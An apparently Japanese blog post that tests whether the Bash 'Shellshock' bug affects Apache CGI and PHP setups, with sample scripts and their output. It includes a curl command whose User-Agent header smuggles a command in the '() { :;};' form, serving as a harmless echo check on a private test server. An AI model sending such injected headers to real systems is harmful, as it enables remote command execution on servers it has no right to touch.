揮発性のメモ2

http://d.hatena.ne.jp/iww/

BASHの脆弱性で、PHPはどうなっちゃうか

ApachePHPスクリプト起動してるけど、モジュール版なら大丈夫っぽい。


Apacheの設定

    AddHandler cgi-script .cgi
    AddHandler php5-script .php

.cgi環境変数を全部もらえるので、bash(system関数)呼出時に今回の脆弱性に引っかかる。
.php はsystem関数呼出時に環境変数をもらえないので、今回の脆弱性に引っかからない。

$ curl -A "() { :;}; echo Content-type:text/plain;echo; echo ★アウト★;" http://172.16.101.24/test/hoge.cgi

こんな感じでテスト実施。 ★アウト★ が出力されたらアウト

完全にダメなパターン: bashcgiとして呼び出し

bash.cgi

#!/bin/sh
echo Content-type:text/plain
echo
echo "Hello,bash!"
export

今回のモロアウトケース。 bashを呼び出してるので当然アウト

★アウト★
Content-type:text/plain

Hello,bash!
export DOCUMENT_ROOT="/var/www/html"
export GATEWAY_INTERFACE="CGI/1.1"
export HTTP_ACCEPT="*/*"
export HTTP_HOST="172.16.101.24"
export OLDPWD
export PATH="/sbin:/usr/sbin:/bin:/usr/bin"
・・・(中略)・・・

ほぼダメなパターン: phpcgiとして呼び出し

php.cgi

#!/usr/bin/php -q
<?
echo "Content-type:text/plain\n\n";
echo "Hello,PHP!\n";
print_r($_ENV);
system("export");
?>

system関数さえ呼び出さなければセーフ。 system関数が呼び出されると、そこでアウト。

Hello,PHP!
Array
(
    [HTTP_USER_AGENT] => () { :;}; echo Content-type:text/plain;echo; echo ★アウト★;
    [HTTP_HOST] => 172.16.101.24
    [HTTP_ACCEPT] => */*
    [PATH] => /sbin:/usr/sbin:/bin:/usr/bin
・・・(中略)・・・
    [SCRIPT_NAME] => /test/php.cgi
)
Content-type:text/plain

★アウト★
export DOCUMENT_ROOT="/var/www/html"
export GATEWAY_INTERFACE="CGI/1.1"
export HTTP_ACCEPT="*/*"
export HTTP_HOST="172.16.101.24"
・・・(中略)・・・

セーフなパターン:.phpPHPモジュールから呼び出し

php.php

<?
echo "Content-type:text/plain\n\n";
echo "Hello,PHP!\n";
print_r($_ENV);
system("export");
?>

system関数に環境変数が渡されないので今回の脆弱性とは一応無縁。

Content-type:text/plain

Hello,PHP!
Array
(
    [SHELL] => /bin/bash
    [TERM] => vt100
    [HISTSIZE] => 1000
・・・(中略)・・・
    [_] => /usr/sbin/httpd
)
export CVS_RSH="ssh"
export G_BROKEN_FILENAMES="1"
export HISTSIZE="1000"
export HOME="/root"
・・・(中略)・・・


参考にさせていただいたページ: